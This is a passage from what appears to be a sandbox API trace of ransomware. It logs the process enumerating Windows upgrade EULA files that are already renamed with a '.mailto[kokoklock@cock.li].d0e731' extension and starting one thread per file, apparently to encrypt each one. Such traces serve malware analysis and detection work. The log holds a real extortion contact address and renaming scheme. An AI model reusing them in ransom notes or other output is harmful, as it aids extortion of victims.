lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c [0170.878] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d2466, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d2466, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x897a37e0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3a856, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_E~1.D0E")) returned 1 [0170.878] wcscmp (_String1="EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.878] wcscmp (_String1="EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.878] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055418 [0170.878] wcscpy (in: _Dest=0x3055418, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.878] wcscat (in: _Dest=0x3055418, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.878] wcscat (in: _Dest=0x3055418, _Source="EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_el-gr.htm.mailto[kokoklock@cock.li].d0e731" [0170.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0170.879] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d5f05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d5f05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x897c9d14, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe575, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_E~2.D0E")) returned 1 [0170.879] wcscmp (_String1="EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.879] wcscmp (_String1="EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.879] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30557b0 [0170.879] wcscpy (in: _Dest=0x30557b0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.879] wcscat (in: _Dest=0x30557b0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.879] wcscat (in: _Dest=0x30557b0, _Source="EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.mailto[kokoklock@cock.li].d0e731" [0170.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30557b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0170.880] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d997f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d997f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x897eff82, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe575, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_E~3.D0E")) returned 1 [0170.880] wcscmp (_String1="EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.880] wcscmp (_String1="EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.880] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30566c8 [0170.880] wcscpy (in: _Dest=0x30566c8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.880] wcscat (in: _Dest=0x30566c8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.880] wcscat (in: _Dest=0x30566c8, _Source="EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-us.htm.mailto[kokoklock@cock.li].d0e731" [0170.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30566c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0170.881] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dad37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dad37, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89816199, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11178, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_E~4.D0E")) returned 1 [0170.881] wcscmp (_String1="EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.881] wcscmp (_String1="EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.881] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055920 [0170.881] wcscpy (in: _Dest=0x3055920, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.881] wcscat (in: _Dest=0x3055920, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.881] wcscat (in: _Dest=0x3055920, _Source="EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-es.htm.mailto[kokoklock@cock.li].d0e731" [0170.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0170.882] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dc0bd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dc0bd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x898aeafc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11178, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EU846F~1.D0E")) returned 1 [0170.882] wcscmp (_String1="EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.882] wcscmp (_String1="EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.882] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056838 [0170.882] wcscpy (in: _Dest=0x3056838, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.882] wcscat (in: _Dest=0x3056838, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.882] wcscat (in: _Dest=0x3056838, _Source="EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.mailto[kokoklock@cock.li].d0e731" [0170.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0170.883] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dd45a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dd45a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x8990330b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EU3730~1.D0E")) returned 1 [0170.883] wcscmp (_String1="EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.883] wcscmp (_String1="EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.883] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30561c0 [0170.883] wcscpy (in: _Dest=0x30561c0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.883] wcscat (in: _Dest=0x30561c0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.883] wcscat (in: _Dest=0x30561c0, _Source="EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.mailto[kokoklock@cock.li].d0e731" [0170.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30561c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0170.883] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dfb2b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dfb2b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x899215ba, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1151a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_F~1.D0E")) returned 1 [0170.884] wcscmp (_String1="EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.884] wcscmp (_String1="EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.884] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055640 [0170.884] wcscpy (in: _Dest=0x3055640, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.884] wcscat (in: _Dest=0x3055640, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.884] wcscat (in: _Dest=0x3055640, _Source="EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kokoklock@cock.li].d0e731" [0170.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0170.884] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e0ee6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e0ee6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89947614, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10fca, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_F~2.D0E")) returned 1 [0170.884] wcscmp (_String1="EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.884] wcscmp (_String1="EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.884] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055a90 [0170.884] wcscpy (in: _Dest=0x3055a90, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.885] wcscat (in: _Dest=0x3055a90, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.885] wcscat (in: _Dest=0x3055a90, _Source="EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.mailto[kokoklock@cock.li].d0e731" [0170.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0170.885] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e2266, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e2266, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x8996d87b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10fca, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_F~3.D0E")) returned 1 [0170.885] wcscmp (_String1="EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.885] wcscmp (_String1="EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.885] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055b48 [0170.885] wcscpy (in: _Dest=0x3055b48, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.885] wcscat (in: _Dest=0x3055b48, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.885] wcscat (in: _Dest=0x3055b48, _Source="EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kokoklock@cock.li].d0e731" [0170.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0170.886] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e35dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e35dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x899b9be8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd3287, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_H~1.D0E")) returned 1 [0170.886] wcscmp (_String1="EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.886] wcscmp (_String1="EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.886] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056610 [0170.886] wcscpy (in: _Dest=0x3056610, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.886] wcscat (in: _Dest=0x3056610, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.886] wcscat (in: _Dest=0x3056610, _Source="EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kokoklock@cock.li].d0e731" [0170.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844 [0170.887] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e977f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e977f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x899dfe98, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xfe28, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_H~2.D0E")) returned 1 [0170.887] wcscmp (_String1="EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.887] wcscmp (_String1="EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.887] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30559d8 [0170.887] wcscpy (in: _Dest=0x30559d8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.887] wcscat (in: _Dest=0x30559d8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.887] wcscat (in: _Dest=0x30559d8, _Source="EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kokoklock@cock.li].d0e731" [0170.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30559d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848 [0170.888] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ebeab, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ebeab, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89a05fb2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_H~3.D0E")) returned 1 [0170.888] wcscmp (_String1="EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.888] wcscmp (_String1="EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.888] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30568f0 [0170.888] wcscpy (in: _Dest=0x30568f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.888] wcscat (in: _Dest=0x30568f0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.888] wcscat (in: _Dest=0x30568f0, _Source="EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.mailto[kokoklock@cock.li].d0e731" [0170.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30568f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0170.889] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ed234, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ed234, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89a52445, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1102d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_I~1.D0E")) returned 1 [0170.889] wcscmp (_String1="EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.889] wcscmp (_String1="EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.889] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055c00 [0170.889] wcscpy (in: _Dest=0x3055c00, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.889] wcscat (in: _Dest=0x3055c00, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.889] wcscat (in: _Dest=0x3055c00, _Source="EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm.mailto[kokoklock@cock.li].d0e731" [0170.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3055c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0170.890] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ef94a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ef94a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89a7871d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3364e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_J~1.D0E")) returned 1 [0170.890] wcscmp (_String1="EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.890] wcscmp (_String1="EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.890] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30569a8 [0170.890] wcscpy (in: _Dest=0x30569a8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.890] wcscat (in: _Dest=0x30569a8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.890] wcscat (in: _Dest=0x30569a8, _Source="EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm.mailto[kokoklock@cock.li].d0e731" [0170.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30569a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0170.891] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f205a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f205a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89ac4b3c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9ade3, dwReserved0=0x0, dwReserved1=0x0, 